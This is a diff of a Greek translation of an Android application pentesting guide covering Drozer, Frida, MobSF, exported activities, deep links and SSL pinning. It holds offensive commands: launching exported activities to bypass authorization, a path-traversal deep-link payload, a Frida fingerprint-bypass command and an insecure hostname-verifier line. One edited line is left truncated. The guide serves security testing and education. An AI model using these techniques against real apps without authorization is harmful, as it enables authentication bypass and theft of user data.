sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); - Αν η εφαρμογή είναι ευαίσθητη (όπως οι τραπεζικές εφαρμογές), θα πρέπει να εκτελεί τους **δικούς της ελέγχους για να δει αν το κινητό είναι ριζωμένο** και να ενεργεί αναλόγως. - Αν η εφαρμογή είναι ευαίσθητη (όπως οι τραπεζικές εφαρμογές), θα πρέπει να ελέγχει αν χρησιμοποιείται **emulator**. - Αν η εφαρμογή είναι ευαίσθητη (όπως οι τραπεζικές εφαρμογές), θα πρέπει να **ελέγχει την ακεραιότητά της πριν την εκτέλεση** για να ελέγξει αν έχει τροποποιηθεί. -- Χρησιμοποιήστε [**APKiD**](https://github.com/rednaga/APKiD) για να ελέγξετε ποιος compiler/packer/obfuscator χρησιμοποιήθηκε για την κατασκευή του APK +- Χρησιμοποιήστε [**APKiD**](https://github.com/rednaga/APKiD) για να ελέγξετε ποιος compiler/packer/obfuscator χρησιμοποιήθηκε για την κατασκευή του APK. ### Εφαρμογή React Native @@ -185,9 +185,9 @@ react-native-application.md Με αυτή τη γνώση, **το mariana-trench θα αναθεωρήσει τον κώδικα και θα βρει πιθανές ευπάθειες σε αυτόν**. -### Μυστικά που διαρρέουν +### Διαρροές Μυστικών -Μια εφαρμογή μπορεί να περιέχει μυστικά (API keys, κωδικούς πρόσβασης, κρυφές διευθύνσεις URL, υποτομείς...) μέσα σε αυτήν που μπορεί να είστε σε θέση να ανακαλύψετε. Μπορείτε να χρησιμοποιήσετε ένα εργαλείο όπως το [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) +Μια εφαρμογή μπορεί να περιέχει μυστικά (API keys, κωδικούς πρόσβασης, κρυφές διευθύνσεις URL, υποτομείς...) μέσα σε αυτήν που μπορεί να είστε σε θέση να ανακαλύψετε. Μπορείτε να χρησιμοποιήσετε ένα εργαλείο όπως το [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks). ### Παράκαμψη Βιομετρικής Αυθεντικοποίησης @@ -218,103 +218,7 @@ content-protocol.md ### Online Δυναμική ανάλυση -Μπορείτε να δημιουργήσετε έναν **δωρεάν λογαριασμό** στο: [https://appetize.io/](https://appetize.io). Αυτή η πλατφόρμα σας επιτρέπει να **ανεβάσετε** και να **εκτελέσετε** APKs, οπότε είναι χρήσιμη για να δείτε πώς συμπεριφέρεται ένα apk. - -Μπορείτε ακόμη να **δείτε τα logs της εφαρμογής σας** στο διαδίκτυο και να συνδεθείτε μέσω **adb**. - -![](<../../images/image (831).png>) - -Χάρη στη σύνδεση ADB μπορείτε να χρησιμοποιήσετε **Drozer** και **Frida** μέσα στους εξομοιωτές. - -### Τοπική Δυναμική Ανάλυση - -#### Χρησιμοποιώντας έναν εξομοιωτή - -- [**Android Studio**](https://developer.android.com/studio) (Μπορείτε να δημιουργήσετε **x86** και **arm** συσκευές, και σύμφωνα με [**αυτό**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**οι τελευταίες x86** εκδόσεις **υποστηρίζουν ARM βιβλιοθήκες** χωρίς να χρειάζεται ένας αργός εξομοιωτής arm). -- Μάθετε πώς να το ρυθμίσετε σε αυτή τη σελίδα: - -{{#ref}} -avd-android-virtual-device.md -{{#endref}} - -- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Δωρεάν έκδοση:** Personal Edition, πρέπει να δημιουργήσετε έναν λογαριασμό. _Συνιστάται να **κατεβάσετε** την έκδοση **ΜΕ**_ _**VirtualBox** για να αποφύγετε πιθανά σφάλματα._) -- [**Nox**](https://es.bignox.com) (Δωρεάν, αλλά δεν υποστηρίζει Frida ή Drozer). - -> [!NOTE] -> Όταν δημιουργείτε έναν νέο εξομοιωτή σε οποιαδήποτε πλατφόρμα, θυμηθείτε ότι όσο μεγαλύτερη είναι η οθόνη, τόσο πιο αργά θα τρέχει ο εξομοιωτής. Επομένως, επιλέξτε μικρές οθόνες αν είναι δυνατόν. - -Για να **εγκαταστήσετε τις υπηρεσίες google** (όπως το AppStore) στο Genymotion, πρέπει να κάνετε κλικ στο κόκκινο κουμπί που επισημαίνεται στην παρακάτω εικόνα: - -![](<../../images/image (277).png>) - -Επίσης, σημειώστε ότι στη **ρύθμιση της Android VM στο Genymotion** μπορείτε να επιλέξετε **Bridge Network mode** (αυτό θα είναι χρήσιμο αν θα συνδεθείτε στην Android VM από μια διαφορετική VM με τα εργαλεία). - -#### Χρησιμοποιήστε μια φυσική συσκευή - -Πρέπει να ενεργοποιήσετε τις **επιλογές αποσφαλμάτωσης** και θα ήταν καλό αν μπορείτε να **ριζώσετε** τη συσκευή: - -1. **Ρυθμίσεις**. -2. (Από Android 8.0) Επιλέξτε **Σύστημα**. -3. Επιλέξτε **Σχετικά με το τηλέφωνο**. -4. Πατήστε **Αριθμός κατασκευής** 7 φορές. -5. Επιστρέψτε πίσω και θα βρείτε τις **Επιλογές προγραμματιστή**. - -> Μόλις εγκαταστήσετε την εφαρμογή, το πρώτο πράγμα που πρέπει να κάνετε είναι να την δοκιμάσετε και να ερευνήσετε τι κάνει, πώς λειτουργεί και να εξοικειωθείτε με αυτήν.\ -> Θα προτείνω να **εκτελέσετε αυτήν την αρχική δυναμική ανάλυση χρησιμοποιώντας MobSF δυναμική ανάλυση + pidcat**, ώστε να μπορέσουμε να **μάθουμε πώς λειτουργεί η εφαρμογή** ενώ το MobSF **καταγράφει** πολλά **ενδιαφέροντα** **δεδομένα** που μπορείτε να αναθεωρήσετε αργότερα. - -### Ακούσια Διαρροή Δεδομένων - -**Καταγραφή** - -Οι προγραμματιστές θα πρέπει να είναι προσεκτικοί στην έκθεση **πληροφοριών αποσφαλμάτωσης** δημόσια, καθώς μπορεί να οδηγήσει σε διαρροές ευαίσθητων δεδομένων. Τα εργαλεία [**pidcat**](https://github.com/JakeWharton/pidcat) και `adb logcat` συνιστώνται για την παρακολούθηση των logs της εφαρμογής για να εντοπίσουν και να προστατεύσουν ευαίσθητες πληροφορίες. **Pidcat** προτιμάται για την ευχρηστία και την αναγνωσιμότητά του. - -> [!WARNING] -> Σημειώστε ότι από **αργότερα νεότερα από το Android 4.0**, **οι εφαρμογές μπορούν να έχουν πρόσβαση μόνο στα δικά τους logs**. Έτσι, οι εφαρμογές δεν μπορούν να έχουν πρόσβαση στα logs άλλων εφαρμογών.\ -> Ούτως ή άλλως, εξακολουθεί να συνιστάται να **μην καταγράφετε ευαίσθητες πληροφορίες**. - -**Caching του Buffer Αντιγραφής/Επικόλλησης** - -Το πλαίσιο **βάσει clipboard** του Android επιτρέπει τη λειτουργία αντιγραφής-επικόλλησης σε εφαρμογές, ωστόσο θέτει έναν κίνδυνο καθώς **άλλες εφαρμογές** μπορούν να **πρόσβαση** στο clipboard, ενδεχομένως εκθέτοντας ευαίσθητα δεδομένα. Είναι κρίσιμο να **απενεργοποιήσετε τις λειτουργίες αντιγραφής/επικόλλησης** για ευαίσθητες ενότητες μιας εφαρμογής, όπως λεπτομέρειες πιστωτικών καρτών, για να αποτρέψετε διαρροές δεδομένων. - -**Crash Logs** - -Αν μια εφαρμογή **καταρρεύσει** και **αποθηκεύσει logs**, αυτά τα logs μπορούν να βοηθήσουν τους επιτιθέμενους, ιδιαίτερα όταν η εφαρμογή δεν μπορεί να αναστραφεί. Για να μετριάσετε αυτόν τον κίνδυνο, αποφύγετε την καταγραφή σε περιπτώσεις κατάρρευσης, και αν τα logs πρέπει να μεταδοθούν μέσω του δικτύου, βεβαιωθείτε ότι αποστέλλονται μέσω καναλιού SSL για ασφάλεια. - -Ως pentester, **προσπαθήστε να ρίξετε μια ματιά σε αυτά τα logs**. - -**Δεδομένα Analytics που αποστέλλονται σε τρίτους** - -Οι εφαρμογές συχνά ενσωματώνουν υπηρεσίες όπως το Google Adsense, οι οποίες μπορεί να διαρρεύσουν κατά λάθος **ευαίσθητα δεδομένα** λόγω κακής υλοποίησης από τους προγραμματιστές. Για να εντοπίσετε πιθανές διαρροές δεδομένων, είναι σκόπιμο να **παρεμβάλετε την κίνηση της εφαρμογής** και να ελέγξετε αν αποστέλλεται οποιαδήποτε ευαίσθητη πληροφορία σε υπηρεσίες τρίτων. - -### SQLite DBs - -Οι περισσότερες εφαρμογές θα χρησιμοποιούν **εσωτερικές βάσεις δεδομένων SQLite** για να αποθηκεύσουν πληροφορίες. Κατά τη διάρκεια της pentest, ρίξτε μια **ματιά** στις **βάσεις δεδομένων** που δημιουργούνται, τα ονόματα των **πινάκων** και **στηλών** και όλα τα **δεδομένα** που αποθηκεύονται γιατί θα μπορούσατε να βρείτε **ευαίσθητες πληροφορίες** (που θα ήταν μια ευπάθεια).\ -Οι βάσεις δεδομένων θα πρέπει να βρίσκονται στο `/data/data/the.package.name/databases` όπως `/data/data/com.mwr.example.sieve/databases` - -Αν η βάση δεδομένων αποθηκεύει εμπιστευτικές πληροφορίες και είναι **κρυπτογραφημένη** αλλά μπορείτε να **βρείτε** τον **κωδικό πρόσβασης** μέσα στην εφαρμογή, είναι ακόμα μια **ευπάθεια**. - -Αριθμήστε τους πίνακες χρησιμοποιώντας `.tables` και αριθμήστε τις στήλες των πινάκων κάνοντας `.schema ` - -### Drozer (Εκμετάλλευση Δραστηριοτήτων, Παρόχων Περιεχομένου και Υπηρεσιών) - -Από [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** σας επιτρέπει να **αναλάβετε το ρόλο μιας εφαρμογής Android** και να αλληλεπιδράσετε με άλλες εφαρμογές. Μπορεί να κάνει **οτιδήποτε μπορεί να κάνει μια εγκατεστημένη εφαρμογή**, όπως να χρησιμοποιήσει τον μηχανισμό Επικοινωνίας Μεταξύ Διαδικασιών (IPC) του Android και να αλληλεπιδράσει με το υποκείμενο λειτουργικό σύστημα.\ -Το Drozer είναι ένα χρήσιμο εργαλείο για **να εκμεταλλευτείτε εξαγόμενες δραστηριότητες, εξαγόμενες υπηρεσίες και Παρόχους Περιεχομένου** όπως θα μάθετε στις επόμενες ενότητες. - -### Εκμετάλλευση εξαγόμενων Δραστηριοτήτων - -[**Διαβάστε αυτό αν θέλετε να ανανεώσετε τι είναι μια Δραστηριότητα Android.**](android-applications-basics.md#launcher-activity-and-other-activities)\ -Επίσης, θυμηθείτε ότι ο κώδικας μιας δραστηριότητας ξεκινά στη μέθοδο **`onCreate`**. - -**Παράκαμψη εξουσιοδότησης** - -Όταν μια Δραστηριότητα είναι εξαγόμενη, μπορείτε να καλέσετε την οθόνη της από μια εξωτερική εφαρμογή. Επομένως, αν μια δραστηριότητα με **ευαίσθητες πληροφορίες** είναι **εξαγόμενη**, θα μπορούσατε να **παράκαμψετε** τους **μηχανισμούς αυθεντικοποίησης** **για να την αποκτήσετε**. - -[**Μάθετε πώς να εκμεταλλευτείτε εξαγόμενες δραστηριότητες με το Drozer.**](drozer-tutorial/index.html#activities) - -Μπορείτε επίσης να ξεκινήσετε μια εξαγόμενη δραστηριότητα από το adb: - -- PackageName είναι com.example.demo -- Exported ActivityName είναι com.example.test.MainActivity +Μπορείτε να δημιουργήσετε έναν **δωρεάν λογαριασμό** στο: [https://appetize.io/](https://appetize.io ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` @@ -329,12 +233,12 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity #### Tapjacking -Αν δεν προληφθεί το tapjacking, θα μπορούσατε να εκμεταλλευτείτε την εξαγόμενη δραστηριότητα για να κάνετε τον **χρήστη να εκτελέσει απροσδόκητες ενέργειες**. Για περισσότερες πληροφορίες σχετικά με [**τι είναι το Tapjacking ακολουθήστε τον σύνδεσμο**](#tapjacking). +Αν το tapjacking δεν προληφθεί, θα μπορούσατε να εκμεταλλευτείτε τη εξαγόμενη δραστηριότητα για να κάνετε τον **χρήστη να εκτελέσει απροσδόκητες ενέργειες**. Για περισσότερες πληροφορίες σχετικά με [**τι είναι το Tapjacking ακολουθήστε τον σύνδεσμο**](#tapjacking). ### Εκμετάλλευση Παρόχων Περιεχομένου - Πρόσβαση και χειρισμός ευαίσθητων πληροφοριών [**Διαβάστε αυτό αν θέλετε να ανανεώσετε τι είναι ένας Πάροχος Περιεχομένου.**](android-applications-basics.md#content-provider)\ -Οι πάροχοι περιεχομένου χρησιμοποιούνται βασικά για να **μοιράζονται δεδομένα**. Αν μια εφαρμογή έχει διαθέσιμους παρόχους περιεχομένου, μπορεί να είστε σε θέση να **εξάγετε ευαίσθητα** δεδομένα από αυτούς. Είναι επίσης ενδιαφέρον να δοκιμάσετε πιθανές **SQL injections** και **Path Traversals** καθώς θα μπορούσαν να είναι ευάλωτοι. +Οι πάροχοι περιεχομένου χρησιμοποιούνται βασικά για να **μοιράζονται δεδομένα**. Αν μια εφαρμογή έχει διαθέσιμους παρόχους περιεχομένου, μπορεί να είστε σε θέση να **εξάγετε ευαίσθητα** δεδομένα από αυτούς. Είναι επίσης ενδιαφέρον να δοκιμάσετε πιθανές **SQL injections** και **Path Traversals** καθώς μπορεί να είναι ευάλωτοι. [**Μάθετε πώς να εκμεταλλευτείτε τους Παρόχους Περιεχομένου με το Drozer.**](drozer-tutorial/index.html#content-providers) @@ -351,18 +255,18 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity [**Διαβάστε αυτό αν θέλετε να ανανεώσετε τι είναι ένας Δέκτης Εκπομπών.**](android-applications-basics.md#broadcast-receivers)\ Θυμηθείτε ότι οι ενέργειες ενός Δέκτη Εκπομπών ξεκινούν στη μέθοδο `onReceive`. -Ένας δέκτης εκπομπών θα περιμένει για έναν τύπο μηνύματος. Ανάλογα με το πώς ο δέκτης χειρίζεται το μήνυμα, θα μπορούσε να είναι ευάλωτος.\ +Ένας δέκτης εκπομπών θα περιμένει για έναν τύπο μηνύματος. Ανάλογα με το πώς ο δέκτης χειρίζεται το μήνυμα, μπορεί να είναι ευάλωτος.\ [**Μάθετε πώς να εκμεταλλευτείτε τους Δέκτες Εκπομπών με το Drozer.**](#exploiting-broadcast-receivers) ### **Εκμετάλλευση Σχημάτων / Deep links** Μπορείτε να αναζητήσετε deep links χειροκίνητα, χρησιμοποιώντας εργαλεία όπως το MobSF ή σενάρια όπως [αυτό](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ -Μπορείτε να **ανοίξετε** ένα δηλωμένο **σχήμα** χρησιμοποιώντας **adb** ή έναν **περιηγητή**: +Μπορείτε να **ανοίξετε** ένα δηλωμένο **σχήμα** χρησιμοποιώντας **adb** ή έναν **φυλλομετρητή**: ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` _Σημειώστε ότι μπορείτε να **παραλείψετε το όνομα πακέτου** και το κινητό θα καλέσει αυτόματα την εφαρμογή που θα πρέπει να ανοίξει αυτόν τον σύνδεσμο._ -```markup +```html Click me @@ -378,20 +282,20 @@ _Σημειώστε ότι μπορείτε να **παραλείψετε το Κάθε φορά που βρίσκετε ένα deep link ελέγξτε ότι **δεν λαμβάνει ευαίσθητα δεδομένα (όπως κωδικούς πρόσβασης) μέσω παραμέτρων URL**, γιατί οποιαδήποτε άλλη εφαρμογή θα μπορούσε **να προσποιηθεί το deep link και να κλέψει αυτά τα δεδομένα!** -**Παράμετροι στη διαδρομή** +**Παράμετροι σε διαδρομή** Πρέπει επίσης να **ελέγξετε αν κάποιο deep link χρησιμοποιεί μια παράμετρο μέσα στη διαδρομή** του URL όπως: `https://api.example.com/v1/users/{username}`, σε αυτή την περίπτωση μπορείτε να αναγκάσετε μια διαδρομή traversal αποκτώντας πρόσβαση σε κάτι όπως: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\ -Σημειώστε ότι αν βρείτε τα σωστά endpoints μέσα στην εφαρμογή μπορεί να είστε σε θέση να προκαλέσετε **Open Redirect** (αν μέρος της διαδρομής χρησιμοποιείται ως όνομα τομέα), **κατάληψη λογαριασμού** (αν μπορείτε να τροποποιήσετε λεπτομέρειες χρηστών χωρίς CSRF token και το ευάλωτο endpoint χρησιμοποίησε τη σωστή μέθοδο) και οποιαδήποτε άλλη ευπάθεια. Περισσότερες [πληροφορίες σχετικά με αυτό εδώ](http://dphoeniixx.com/2020/12/13-2/). +Σημειώστε ότι αν βρείτε τα σωστά endpoints μέσα στην εφαρμογή μπορεί να είστε σε θέση να προκαλέσετε **Open Redirect** (αν μέρος της διαδρομής χρησιμοποιείται ως όνομα τομέα), **account takeover** (αν μπορείτε να τροποποιήσετε λεπτομέρειες χρηστών χωρίς CSRF token και το ευάλωτο endpoint χρησιμοποίησε τη σωστή μέθοδο) και οποιαδήποτε άλλη ευπάθεια. Περισσότερες [πληροφορίες σχετικά με αυτό εδώ](http://dphoeniixx.com/2020/12/13-2/). **Περισσότερα παραδείγματα** Ένα [ενδιαφέρον bug bounty report](https://hackerone.com/reports/855618) σχετικά με συνδέσμους (_/.well-known/assetlinks.json_). -### Αποτυχίες Επιθεώρησης και Επαλήθευσης Στρώματος Μεταφοράς +### Αποτυχίες Επιθεώρησης και Επαλήθευσης Επίπεδου Μεταφοράς - **Οι πιστοποιήσεις δεν ελέγχονται πάντα σωστά** από τις εφαρμογές Android. Είναι συνηθισμένο αυτές οι εφαρμογές να παραβλέπουν προειδοποιήσεις και να αποδέχονται αυτο-υπογεγραμμένες πιστοποιήσεις ή, σε ορισμένες περιπτώσεις, να επιστρέφουν στη χρήση HTTP συνδέσεων. - **Οι διαπραγματεύσεις κατά τη διάρκεια του SSL/TLS handshake είναι μερικές φορές αδύναμες**, χρησιμοποιώντας ανασφαλείς κρυπτογραφικές σουίτες. Αυτή η ευπάθεια καθιστά τη σύνδεση ευάλωτη σε επιθέσεις man-in-the-middle (MITM), επιτρέποντας στους επιτιθέμενους να αποκρυπτογραφήσουν τα δεδομένα. -- **Διαρροή ιδιωτικών πληροφοριών** είναι ένας κίνδυνος όταν οι εφαρμογές πιστοποιούν χρησιμοποιώντας ασφαλείς διαύλους αλλά στη συνέχεια επικοινωνούν μέσω μη ασφαλών διαύλων για άλλες συναλλαγές. Αυτή η προσέγγιση αποτυγχάνει να προστατεύσει ευαίσθητα δεδομένα, όπως cookies συνεδρίας ή λεπτομέρειες χρηστών, από την παρεμβολή κακόβουλων οντοτήτων. +- **Η διαρροή ιδιωτικών πληροφοριών** είναι κίνδυνος όταν οι εφαρμογές πιστοποιούν χρησιμοποιώντας ασφαλείς διαύλους αλλά στη συνέχεια επικοινωνούν μέσω μη ασφαλών διαύλων για άλλες συναλλαγές. Αυτή η προσέγγιση αποτυγχάνει να προστατεύσει ευαίσθητα δεδομένα, όπως cookies συνεδρίας ή λεπτομέρειες χρηστών, από την παρεμβολή κακόβουλων οντοτήτων. #### Επαλήθευση Πιστοποιητικού @@ -399,7 +303,7 @@ _Σημειώστε ότι μπορείτε να **παραλείψετε το #### SSL Pinning -Το SSL Pinning είναι ένα μέτρο ασφαλείας όπου η εφαρμογή επαληθεύει το πιστοποιητικό του διακομιστή με βάση μια γνωστή αντίγραφο που είναι αποθηκευμένο μέσα στην ίδια την εφαρμογή. Αυτή η μέθοδος είναι απαραίτητη για την αποτροπή επιθέσεων MITM. Συνιστάται έντονα η εφαρμογή του SSL Pinning για εφαρμογές που χειρίζονται ευαίσθητες πληροφορίες. +Το SSL Pinning είναι ένα μέτρο ασφαλείας όπου η εφαρμογή επαληθεύει το πιστοποιητικό του διακομιστή με μια γνωστή αντίγραφο που είναι αποθηκευμένο μέσα στην ίδια την εφαρμογή. Αυτή η μέθοδος είναι απαραίτητη για την πρόληψη επιθέσεων MITM. Συνιστάται έντονα η εφαρμογή SSL Pinning για εφαρμογές που χειρίζονται ευαίσθητες πληροφορίες. #### Επιθεώρηση Κίνησης @@ -419,11 +323,11 @@ _Σημειώστε ότι μπορείτε να **παραλείψετε το #### Αναζητώντας Κοινές Ευπάθειες Ιστού -Είναι σημαντικό να αναζητήσετε επίσης κοινές ευπάθειες ιστού μέσα στην εφαρμογή. Λεπτομερείς πληροφορίες σχετικά με την αναγνώριση και την αντιμετώπιση αυτών των ευπαθειών είναι πέρα από το πεδίο αυτής της περίληψης αλλά καλύπτονται εκτενώς αλλού. +Είναι σημαντικό να αναζητήσετε επίσης κοινές ευπάθειες ιστού μέσα στην εφαρμογή. Λεπτομερείς πληροφορίες σχετικά με την αναγνώριση και την αντιμετώπιση αυτών των ευπαθειών είναι πέρα από το πεδίο αυτής της σύνοψης αλλά καλύπτονται εκτενώς αλλού. ### Frida -[Frida](https://www.frida.re) είναι ένα εργαλείο δυναμικής οργάνωσης για προγραμματιστές, αναλυτές αντίστροφης μηχανικής και ερευνητές ασφαλείας.\ +[Frida](https://www.frida.re) είναι ένα εργαλείο δυναμικής εργονομίας για προγραμματιστές, αναλυτές αντίστροφης μηχανικής και ερευνητές ασφαλείας.\ **Μπορείτε να αποκτήσετε πρόσβαση σε εκτελούμενες εφαρμογές και να συνδέσετε μεθόδους σε πραγματικό χρόνο για να αλλάξετε τη συμπεριφορά, να αλλάξετε τιμές, να εξάγετε τιμές, να εκτελέσετε διαφορετικό κώδικα...**\ Αν θέλετε να κάνετε pentest σε εφαρμογές Android πρέπει να ξέρετε πώς να χρησιμοποιείτε το Frida. @@ -462,7 +366,7 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` ### **Fingerprint/Biometrics Bypass** -Χρησιμοποιώντας το παρακάτω σενάριο Frida, θα μπορούσε να είναι δυνατό να **παρακαμφθεί η αυθεντικοποίηση δακτυλικών αποτυπωμάτων** που ενδέχεται να εκτελούν οι εφαρμογές Android προκειμένου να **προστατεύσουν ορισμένες ευαίσθητες περιοχές:** +Χρησιμοποιώντας το παρακάτω σενάριο Frida, θα μπορούσε να είναι δυνατό να **παρακαμφθεί η αυθεντικοποίηση δακτυλικών αποτυπωμάτων** που μπορεί να εκτελούν οι εφαρμογές Android προκειμένου να **προστατεύσουν ορισμένες ευαίσθητες περιοχές:** ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` @@ -474,7 +378,7 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ` `VT_UPLOAD = TRUE`). Μπορείτε επίσης να ρυθμίσετε το `VT_UPLOAD` σε `False`, τότε το **hash** θα **ανεβεί** αντί για το αρχείο. +Το MobSF επιτρέπει επίσης την ανάλυση **diff/Compare** και την ενσωμάτωση του **VirusTotal** (θα χρειαστεί να ρυθμίσετε το API key σας στο _MobSF/settings.py_ και να το ενεργοποιήσετε: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). Μπορείτε επίσης να ρυθμίσετε το `VT_UPLOAD` σε `False`, τότε το **hash** θα **ανεβεί** αντί για το αρχείο. ### Βοηθητική Δυναμική ανάλυση με το MobSF @@ -538,11 +442,11 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest **Frida** -Από προεπιλογή, θα χρησιμοποιήσει επίσης κάποια Frida Scripts για να **παρακάμψει το SSL pinning**, **ανίχνευση root** και **ανίχνευση debugger** και για να **παρακολουθήσει ενδιαφέροντα APIs**.\ +Από προεπιλογή, θα χρησιμοποιήσει επίσης κάποια σενάρια Frida για να **παρακάμψει το SSL pinning**, **ανίχνευση root** και **ανίχνευση debugger** και για να **παρακολουθήσει ενδιαφέροντα APIs**.\ Το MobSF μπορεί επίσης να **καλέσει εξαγόμενες δραστηριότητες**, να τραβήξει **screenshots** από αυτές και να τις **αποθηκεύσει** για την αναφορά. -Για να **ξεκινήσετε** τη δυναμική δοκιμή πατήστε το πράσινο κουμπί: "**Start Instrumentation**". Πατήστε το "**Frida Live Logs**" για να δείτε τα logs που δημιουργούνται από τα Frida scripts και το "**Live API Monitor**" για να δείτε όλες τις κλήσεις σε συνδεδεμένες μεθόδους, τα ορίσματα που περνιούνται και τις επιστρεφόμενες τιμές (αυτό θα εμφανιστεί μετά την πίεση του "Start Instrumentation").\ -Το MobSF επιτρέπει επίσης να φορτώσετε τα δικά σας **Frida scripts** (για να στείλετε τα αποτελέσματα των Frida scripts σας στο MobSF χρησιμοποιήστε τη λειτουργία `send()`). Έχει επίσης **πολλά προ-γραμμένα scripts** που μπορείτε να φορτώσετε (μπορείτε να προσθέσετε περισσότερα στο `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), απλά **επιλέξτε τα**, πατήστε "**Load**" και πατήστε "**Start Instrumentation**" (θα μπορείτε να δείτε τα logs αυτών των scripts μέσα στο "**Frida Live Logs**"). +Για να **ξεκινήσετε** τη δυναμική δοκιμή πατήστε το πράσινο κουμπί: "**Start Instrumentation**". Πατήστε το "**Frida Live Logs**" για να δείτε τα logs που δημιουργούνται από τα σενάρια Frida και το "**Live API Monitor**" για να δείτε όλες τις κλήσεις σε συνδεδεμένες μεθόδους, τα ορίσματα που περνάνε και τις επιστρεφόμενες τιμές (αυτό θα εμφανιστεί μετά την πίεση του "Start Instrumentation").\ +Το MobSF επιτρέπει επίσης να φορτώσετε τα δικά σας **Frida scripts** (για να στείλετε τα αποτελέσματα των σενάριων σας στο MobSF χρησιμοποιήστε τη λειτουργία `send()`). Έχει επίσης **πολλά προ-γραμμένα σενάρια** που μπορείτε να φορτώσετε (μπορείτε να προσθέσετε περισσότερα στο `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), απλά **επιλέξτε τα**, πατήστε "**Load**" και πατήστε "**Start Instrumentation**" (θα μπορείτε να δείτε τα logs αυτών των σεναρίων μέσα στο "**Frida Live Logs**"). ![](<../../images/image (419).png>) @@ -553,13 +457,13 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest - **Capture String Comparisons**: Μπορεί να είναι πολύ χρήσιμο. Θα **δείξει τις 2 συμβολοσειρές που συγκρίνονται** και αν το αποτέλεσμα ήταν True ή False. - **Enumerate Class Methods**: Βάλτε το όνομα της κλάσης (όπως "java.io.File") και θα εκτυπώσει όλες τις μεθόδους της κλάσης. - **Search Class Pattern**: Αναζητήστε κλάσεις κατά μοτίβο -- **Trace Class Methods**: **Trace** μια **ολόκληρη κλάση** (δείτε τις εισόδους και εξόδους όλων των μεθόδων της κλάσης). Θυμηθείτε ότι από προεπιλογή το MobSF παρακολουθεί πολλές ενδιαφέρουσες μεθόδους Android Api. +- **Trace Class Methods**: **Trace** μια **ολόκληρη κλάση** (δείτε τις εισόδους και τις εξόδους όλων των μεθόδων της κλάσης). Θυμηθείτε ότι από προεπιλογή το MobSF παρακολουθεί πολλές ενδιαφέρουσες μεθόδους Android Api. -Αφού επιλέξετε το βοηθητικό module που θέλετε να χρησιμοποιήσετε, πρέπει να πατήσετε "**Start Intrumentation**" και θα δείτε όλες τις εξόδους στο "**Frida Live Logs**". +Αφού επιλέξετε το βοηθητικό module που θέλετε να χρησιμοποιήσετε, πρέπει να πατήσετε "**Start Instrumentation**" και θα δείτε όλες τις εξόδους στο "**Frida Live Logs**". **Shell** -Το MobSF σας παρέχει επίσης ένα shell με κάποιες **adb** εντολές, **MobSF commands**, και κοινές **shell** **εντολές** στο κάτω μέρος της σελίδας δυναμικής ανάλυσης. Ορισμένες ενδιαφέρουσες εντολές: +Το MobSF σας παρέχει επίσης ένα shell με κάποιες εντολές **adb**, **εντολές MobSF**, και κοινές **εντολές shell** στο κάτω μέρος της σελίδας δυναμικής ανάλυσης. Ορισμένες ενδιαφέρουσες εντολές: ```bash help shell ls @@ -571,7 +475,7 @@ receivers **HTTP εργαλεία** Όταν η κίνηση http καταγράφεται, μπορείτε να δείτε μια άσχημη προβολή της καταγεγραμμένης κίνησης στο "**HTTP(S) Traffic**" κάτω ή μια πιο ωραία προβολή στο "**Start HTTPTools**" πράσινο κουμπί. Από τη δεύτερη επιλογή, μπορείτε να **στείλετε** τα **καταγεγραμμένα αιτήματα** σε **proxy** όπως το Burp ή το Owasp ZAP.\ -Για να το κάνετε αυτό, _ενεργοποιήστε το Burp -->_ _απενεργοποιήστε την Παρεμβολή --> στο MobSB HTTPTools επιλέξτε το αίτημα_ --> πατήστε "**Send to Fuzzer**" --> _επιλέξτε τη διεύθυνση proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). +Για να το κάνετε αυτό, _ενεργοποιήστε το Burp -->_ _απενεργοποιήστε την Παράκαμψη --> στο MobSB HTTPTools επιλέξτε το αίτημα_ --> πατήστε "**Send to Fuzzer**" --> _επιλέξτε τη διεύθυνση proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). Αφού ολοκληρώσετε την δυναμική ανάλυση με το MobSF, μπορείτε να πατήσετε το "**Start Web API Fuzzer**" για να **fuzz http αιτήματα** και να αναζητήσετε ευπάθειες. @@ -615,11 +519,11 @@ reverse-apk relative/path/to/APP.apk ``` ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) -Το SUPER είναι μια εφαρμογή γραμμής εντολών που μπορεί να χρησιμοποιηθεί σε Windows, MacOS X και Linux, η οποία αναλύει αρχεία _.apk_ αναζητώντας ευπάθειες. Το κάνει αυτό αποσυμπιέζοντας τα APK και εφαρμόζοντας μια σειρά κανόνων για να ανιχνεύσει αυτές τις ευπάθειες. +Το SUPER είναι μια εφαρμογή γραμμής εντολών που μπορεί να χρησιμοποιηθεί σε Windows, MacOS X και Linux, που αναλύει αρχεία _.apk_ αναζητώντας ευπάθειες. Το κάνει αυτό αποσυμπιέζοντας τα APK και εφαρμόζοντας μια σειρά κανόνων για να ανιχνεύσει αυτές τις ευπάθειες. -Όλοι οι κανόνες είναι κεντραρισμένοι σε ένα αρχείο `rules.json`, και κάθε εταιρεία ή δοκιμαστής μπορεί να δημιουργήσει τους δικούς της κανόνες για να αναλύσει ό,τι χρειάζεται. +Όλοι οι κανόνες 